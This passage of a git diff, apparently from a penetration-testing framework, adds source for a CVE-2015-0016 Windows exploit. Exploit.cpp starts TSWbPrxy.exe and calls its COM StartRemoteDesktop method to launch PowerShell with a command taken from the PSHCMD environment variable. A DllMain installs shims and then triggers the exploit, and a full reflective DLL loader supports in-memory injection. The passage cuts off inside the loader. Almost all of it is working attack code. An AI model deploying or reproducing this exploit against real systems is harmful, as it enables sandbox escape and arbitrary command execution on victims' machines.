+ MultiThreadedDebugDLL + + Level3 + EditAndContinue + + + true + Windows + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + + + true + Windows + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + + + true + Windows + MachineX64 + + + + + MaxSpeed + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + true + Windows + true + true + MachineX86 + + + copy ..\Release\reflective_dll.dll ..\bin\ + + + + + MinSpace + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + true + Default + + + true + Windows + true + true + $(OutDir)$(ProjectName).arm.dll + + + copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\ + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + + + copy $(OutDir)$(ProjectName).x64.dll ..\bin\ + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters new file mode 100755 index 0000000000..f9a64f93cb --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters @@ -0,0 +1,41 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/Exploit.cpp b/external/source/exploits/cve-2015-0016/dll/src/Exploit.cpp new file mode 100755 index 0000000000..aa0829135b --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/Exploit.cpp @@ -0,0 +1,74 @@ +#include +#include "Exploit.h" +#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace + +static const size_t MaxEnv = 32767; + +static PCHAR GetEnv(LPCSTR env) +{ + char *buf = (char *)malloc(MaxEnv); + if (buf == NULL) { + return NULL; + } + + GetEnvironmentVariable(env, buf, MaxEnv); + + return buf; +} + +static VOID DoTSWbPrxyExploit() { + HRESULT hr; + IMSTSWebProxy *pUnk; + CHAR cmdline[] = "TSWbPrxy.exe"; + STARTUPINFO startInfo = { 0 }; + PROCESS_INFORMATION procInfo = { 0 }; + PCHAR fullPath = NULL; + PCHAR powershell = NULL; + PCHAR pshCmd = NULL; + + fullPath = GetEnv("windir"); + if (fullPath == NULL) { + goto freeFullPath; + } + strcat_s(fullPath, MaxEnv, "\\System32\\TSWbPrxy.exe"); + + powershell = GetEnv("windir"); + if (powershell == NULL) { + goto freePowershell; + } + strcat_s(powershell, MaxEnv, "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe"); + + pshCmd = GetEnv("PSHCMD"); + if (pshCmd == NULL) { + goto freePowershell; + } + + hr = CreateProcess(fullPath, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &startInfo, &procInfo); + if (hr == 0) + goto freePshCmd; + + hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk); + if (hr != 0) + goto freePshCmd; + + pUnk->StartRemoteDesktop(powershell, pshCmd); + pUnk->Release(); + +freePshCmd: + free(pshCmd); + pshCmd = NULL; +freePowershell: + free(powershell); + powershell = NULL; +freeFullPath: + free(fullPath); + fullPath = NULL; + + return; +} + +VOID DoExploit() { + CoInitialize(NULL); + DoTSWbPrxyExploit(); + CoUninitialize(); +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/Exploit.h b/external/source/exploits/cve-2015-0016/dll/src/Exploit.h new file mode 100755 index 0000000000..1b28acdfe9 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/Exploit.h @@ -0,0 +1,5 @@ +#ifndef EXPLOIT_H +#define EXPLOIT_H + +VOID DoExploit(); +#endif \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDLLInjection.h b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDLLInjection.h new file mode 100755 index 0000000000..4e9ce6d4ce --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDll.c b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDll.c new file mode 100755 index 0000000000..f6ec4ca213 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDll.c @@ -0,0 +1,53 @@ +//===============================================================================================// +// This is a stub for the actuall functionality of the DLL. +//===============================================================================================// +#include "ReflectiveLoader.h" + +// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are +// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own +// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. + +// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) +extern HINSTANCE hAppInstance; + +#include + +#include "ShimsInstaller.h" +#include "Exploit.h" + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved); + +BOOL firstTime = TRUE; + +//===============================================================================================// +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + + if (firstTime) { + firstTime = FALSE; + // Will install shims and will result in a new entry to the + // reflective DLL DllMain entryPoint, at that point execution can + // be executed. + InstallShims(hinstDLL, &DllMain, lpReserved); + } + else { + DoExploit(); + } + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.c b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.c new file mode 100755 index 0000000000..594c0b8066 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.c @@ -0,0 +1,496 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while( TRUE ) + { + if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword( 0x60 ); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword( 0x30 ); +#else WIN_ARM + uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while( uiValueA ) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror( (DWORD)uiValueC ); + // normalize to uppercase if the madule name is in lowercase + if( *((BYTE *)uiValueB) >= 'a' ) + uiValueC += *((BYTE *)uiValueB) - 0x20; + else + uiValueC += *((BYTE *)uiValueB); + uiValueB++; + } while( --usCounter ); + + // compare the hash with that of kernel32.dll + if( (DWORD)uiValueC == KERNEL32DLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 3; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == LOADLIBRARYA_HASH ) + pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == GETPROCADDRESS_HASH ) + pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == VIRTUALALLOC_HASH ) + pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if( (DWORD)uiValueC == NTDLLDLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 1; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) + break; + + // get the next entry + uiValueA = DEREF( uiValueA ); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while( uiValueA-- ) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while( uiValueE-- ) + { + // uiValueB is the VA for this section + uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); + + // uiValueC if the VA for this sections data + uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while( uiValueD-- ) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof( IMAGE_SECTION_HEADER ); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // itterate through all imports + while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); + + // itterate through all imported functions, importing by ordinal if no name present + while( DEREF(uiValueA) ) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); + + // patch in the address for this imported function + DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // get the VA of this functions import by name struct + uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); + } + // get the next imported function + uiValueA += sizeof( ULONG_PTR ); + if( uiValueD ) + uiValueD += sizeof( ULONG_PTR ); + } + + // get the next import + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + // check if their are any relocations present + if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // and we itterate through all entries... + while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) + { + // uiValueA = the VA for this relocation block + uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); + + // uiValueB = number of entries in this relocation block + uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while( uiValueB-- ) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) + *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + // sanity chack we are processing a MOV instruction... + if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)( dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + } + } +#endif + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof( IMAGE_RELOC ); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache( 